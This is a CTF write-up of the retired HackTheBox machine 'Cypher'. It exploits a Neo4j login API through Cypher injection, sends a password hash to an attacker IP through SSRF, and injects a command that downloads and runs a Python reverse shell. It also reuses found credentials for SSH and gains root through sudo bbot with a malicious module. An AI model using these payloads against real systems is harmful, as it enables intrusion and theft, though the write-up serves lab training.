Cypher just retired! It was a Medium difficulty Linux machine from HackTheBox. This machine provided an interesting challenge centered around a Neo4j database and a custom application. The path to user follows a logical progression from reconnaissance to exploitation, requiring careful analysis of a provided Java archive to uncover a command injection vulnerability. The privilege escalation phase introduces a lesser-known OSINT tool, making it a new vector for gaining root access. Overall, Cypher is a fantastic box for practicing vulnerability analysis and creative exploit chaining, and I highly recommend it.
Tl;Dr: To get the user flag, you first enumerate a web server to find a custom Java .jar file. Decompiling this file reveals a custom Neo4j procedure vulnerable to command injection. You then exploit a Cypher injection vulnerability in the login API to CALL this custom procedure, achieving remote code execution. After getting a shell, password reuse from a configuration file allows you to SSH in as the graphasm user.
For the root flag, you discover that the graphasm user can run the bbot binary as root via sudo. By creating a malicious bbot module and a configuration file to load it, you can execute arbitrary code as root. The module is used to create a SUID copy of /bin/bash, which is then executed to gain a root shell.
Alright! Let’s get into the details now!
First things first, let’s add the box’s IP to our /etc/hosts file for convenience:
Let’s start with the classic nmap scan to see which ports are open on the box:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
[hg8@archbook ~]$ nmap -sV -sT -sC cypher.htb Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-06 19:14 CEST Nmap scan report for cypher.htb (10.10.11.57) Host is up (0.056s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.8 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 be:68:db:82:8e:63:32:45:54:46:b7:08:7b:3b:52:b0 (ECDSA) |_ 256 e5:5b:34:f5:54:43:93:f8:7e:b6:69:4c:ac:d6:3d:23 (ED25519) 80/tcp open http nginx 1.24.0 (Ubuntu) |_http-server-header: nginx/1.24.0 (Ubuntu) |_http-title: GRAPH ASM Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 9.87 seconds
The scan reveals two open ports: 22 (SSH) and 80 (HTTP), which is running a web application.
Opening http://cypher.htb displays the following page:
We’re presented with a login page. The “Demo” link also redirects to this same login page. Before attempting any logins or injections, let’s enumerate web directories to see if we can discover any hidden endpoints or files.
Gobuster reveals two interesting endpoints: /api/ and /testing/. Further enumeration on the /api directory reveals a promising /api/auth endpoint.
Cypher Neo4j JAR Decompilation & Analysis
The /testing endpoint leads to an open directory containing a JAR file: custom-apoc-extension-1.0-SNAPSHOT.jar.
Again, before diving into potential injections on the login page, let’s analyze this JAR file. Gathering as much information as possible upfront is crucial for understanding our target.
Let’s download custom-apoc-extension-1.0-SNAPSHOT.jar for analysis. I’ll use fernflower to decompile it:
I was not familiar with Cypher or Neo4j at this point. The documentation explains:
Cypher is Neo4j’s declarative and GQL conformant query language. Available as open source via The openCypher project, Cypher is similar to SQL, but optimized for graphs.
Inside the decompiled source, the CustomFunctions.java file immediately catches my eye:
publicclassCustomFunctions { @Procedure( name = "custom.getUrlStatusCode", mode = Mode.READ ) @Description("Returns the HTTP status code for the given URL as a string") public Stream<StringOutput> getUrlStatusCode(@Name("url") String url)throws Exception { if (!url.toLowerCase().startsWith("http://") && !url.toLowerCase().startsWith("https://")) { url = "https://" + url; }
We have system command execution: String[] command = new String[]{"/bin/sh", "-c", "curl ... " + url};. If we can find a way to call this custom.getUrlStatusCode procedure and control the url parameter, we can likely achieve command injection because the url string is passed directly into a shell command without sanitization.
With this knowledge, we have a clear attack path: find a way to inject Cypher queries, then use that injection to call the vulnerable custom.getUrlStatusCode procedure. Let’s see if we can achieve this.
Cypher Injection
Let’s focus on the /api/auth endpoint. Since I’m not sure what API this is not what kind parameters it expects, I’ll start with a basic email/password combo:
[hg8@archbook ~]$ curl -X POST 'http://cypher.htb/api/auth' \ -H 'Content-Type: application/json' \ -d '{"username":"hg8'\''", "password":"hg8"}' Traceback (most recent call last): File "/app/app.py", line 142, in verify_creds results = run_cypher(cypher) File "/app/app.py", line 63, in run_cypher return [r.data() for r in session.run(cypher)] File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/session.py", line 314, in run self._auto_result._run( File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 221, in _run self._attach() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/work/result.py", line 409, in _attach self._connection.fetch_message() File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 178, in inner func(*args, **kwargs) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt.py", line 860, in fetch_message res = self._process_message(tag, fields) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_bolt5.py", line 370, in _process_message response.on_failure(summary_metadata or {}) File "/usr/local/lib/python3.9/site-packages/neo4j/_sync/io/_common.py", line 245, in on_failure raise Neo4jError.hydrate(**metadata) neo4j.exceptions.CypherSyntaxError: {code: Neo.ClientError.Statement.SyntaxError} {message: Failed to parse string literal. The query must contain an even number of non-escaped quotes. (line 1, column 58 (offset: 57)) "MATCH (u:USER) -[:SECRET]-> (h:SHA1) WHERE u.name = 'hg8'' return h.value as hash"
And we get an error! The traceback confirms the backend is using a Python application with Neo4j, and we’ve triggered a CypherSyntaxError. This is great news, as it means the input is not being properly sanitized. A quick search for “Neo4j Cypher injection” leads to some interesting examples.
SSRF Via Neo4j Injection
It seems that Cypher’s LOAD CSV FROM clause can be abused to create a Server-Side Request Forgery (SSRF) vulnerability. Let’s test this by having the server make a request back to our machine.
First, start a simple Python web server:
1 2
[hg8@archbook ~]$ python -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Now, we send the injection payload:
1 2 3
[hg8@archbook ~]$ curl -X POST 'http://cypher.htb/api/auth' \ -H 'Content-Type: application/json' \ -d '{"username":"hg8'\'' OR 1=1 LOAD CSV FROM '\''http://10.10.10.10:8000/proof_of_ssrf'\'' AS y RETURN '\'''\''//","password":"hg8"}'
And sure enough, we get a hit on our local web server:
1 2 3 4
[hg8@archbook ~]$ python -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 10.10.11.57 - - [06/Jun/2025 20:30:39] code 404, message File not found 10.10.11.57 - - [06/Jun/2025 20:30:39] "GET /proof_of_ssrf HTTP/1.1" 404 -
Based on the original query structure revealed in the error (...return h.value as hash), we can adapt our payload to exfiltrate data. Let’s try to get the admin user’s hash:
1 2 3
[hg8@archbook ~]$ curl -X POST 'http://cypher.htb/api/auth' \ -H 'Content-Type: application/json' \ -d '{"username":"admin'\'' OR 1=1 LOAD CSV FROM '\''http://10.10.10.10:8000/hash='\''+h.value AS y RETURN '\'''\''//","password":"hg8"}'
We successfully exfiltrated a hash, but cracking it might be time-consuming. Let’s stick with our primary goal of command injection.
SSRF to Command Injection
Now, let’s chain our discoveries. We know about the vulnerable custom.getUrlStatusCode procedure from the decompiled JAR, and we have a Cypher injection. We can use the CALL procedure in our injection to execute that custom function.
1 2 3
[hg8@archbook ~]$ curl -X POST 'http://cypher.htb/api/auth' \ -H 'Content-Type: application/json' \ -d $'{\n "username": "admin\'return h.value AS value UNION CALL custom.getUrlStatusCode(\\"10.10.14.93:8000\\") YIELD statusCode AS value RETURN value ; //",\n "password": "hg8"\n}'
The gibberish received by our server is expected since the Java code automatically prepends https://, causing curl to initiate a TLS handshake. The important thing is that we received a connection, confirming we can trigger the custom.getUrlStatusCode procedure and control its url input.
Since the initial traceback showed a Python application, a Python reverse shell is a good bet. We can use command chaining in the url parameter to download and execute our shell.
[hg8@archbook ~]$ curl -X POST 'http://cypher.htb/api/auth' \ -H 'Content-Type: application/json' \ -d $'{\n "username": "admin\'return h.value AS value UNION CALL custom.getUrlStatusCode(\\"127.0.0.1;wget 10.10.10.10:8000/hg8.py -O /tmp/hg8.py;python3 /tmp/hg8.py;\\") YIELD statusCode AS value RETURN value ; //",\n "password": "hg8"\n}'
Bingo! We receive a connection on our netcat listener.
[hg8@archbook ~]$ nc -l -vv -p 8585 Listening on 0.0.0.0 8585 Connection received on cypher.htb 51948 /bin/sh: 0: can't access tty; job control turned off $ cd /home/graphasm $ ls bbot_preset.yml user.txt $ cat user.txt cat: user.txt: Permission denied $ cat bbot_preset.yml targets: - ecorp.htb output_dir: /home/graphasm/bbot_scans config: modules: neo4j: username: neo4j password: cU4btyib.20xtCMCXkBmerhK
Pivot to graphasm user
We found credentials for a neo4j user in a config file, but the only user with a home directory is graphasm. This is a classic scenario suggesting password reuse. Let’s try to SSH in as graphasm using the password we found.
1 2 3 4 5 6
[hg8@archbook ~]$ ssh graphasm@cypher.htb graphasm@cypher.htb's password: Last login: Fri Jun 6 19:03:12 2025 from 10.10.10.10 graphasm@cypher:~$ cat user.txt 4046XXXXXXXX617
Success! We have the user flag.
Root Flag
Recon
The classic recon for privilege enumeration lead to an interesting entry in the sudo config:
1 2 3 4 5 6
graphasm@cypher:~$ sudo -l Matching Defaults entries for graphasm on cypher: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User graphasm may run the following commands on cypher: (ALL) NOPASSWD: /usr/local/bin/bbot
Our user graphasm can run the bbot command as root without a password. This is our clear path to privilege escalation.
After exploring its options and running a few tests, I didn’t immediately find an obvious “get shell” feature and felt a bit stuck.
Debug and Custom Yara Rules
Then I notice that using --debug parameter we get a load of additional information, including every module being loaded. I wondered if I could wirte a module that would then be executed as root, but couldn’t succeed.
Then I gave a try to custom YARA rules and to my surprise the content of my rule got displayed in the debug log:
This is an arbitrary file read vulnerability as root. It’s highway to privilege escalation. While we could just read /root/root.txt, getting a shell is always more satisfying. Since SSH is running, let’s try to read the root user’s private SSH key. I tried a few common filenames (using this wordlist) and found /root/.ssh/id_ed25519:
At this point, we could easily get the flag with sudo bbot -cy /root/root.txt --debug, but I was detewantedrmined to get a root shell.
Root shell via BBot custom module
I decided to revisit my initial idea of creating a malicious bbot module. After reading the documentation, I created a simple module to create a SUID copy of bash:
1 2 3 4 5 6 7
graphasm@cypher:~$ cat hg8.py from bbot.modules.base import BaseModule import os
[INFO] Scan with 1 modules seeded with 0 targets (0 in whitelist) [INFO] Loaded 1/1 scan modules (hg8_module) [INFO] Loaded 5/5 internal modules (aggregate,cloudcheck,dnsresolve,excavate,speculate) [INFO] Loaded 5/5 output modules, (csv,json,python,stdout,txt) [INFO] internal.excavate: Compiling 10 YARA rules [INFO] internal.speculate: No portscanner enabled. Assuming open ports: 80, 443 [INFO] Setup soft-failed for hg8_module: soft-fail
bbot hangs, likely because our simple module doesn’t handle exiting cleanly. However, the command still executed! Checking the /tmp directory confirms our SUID-enabled bash binary has been created. We have a full shell as root!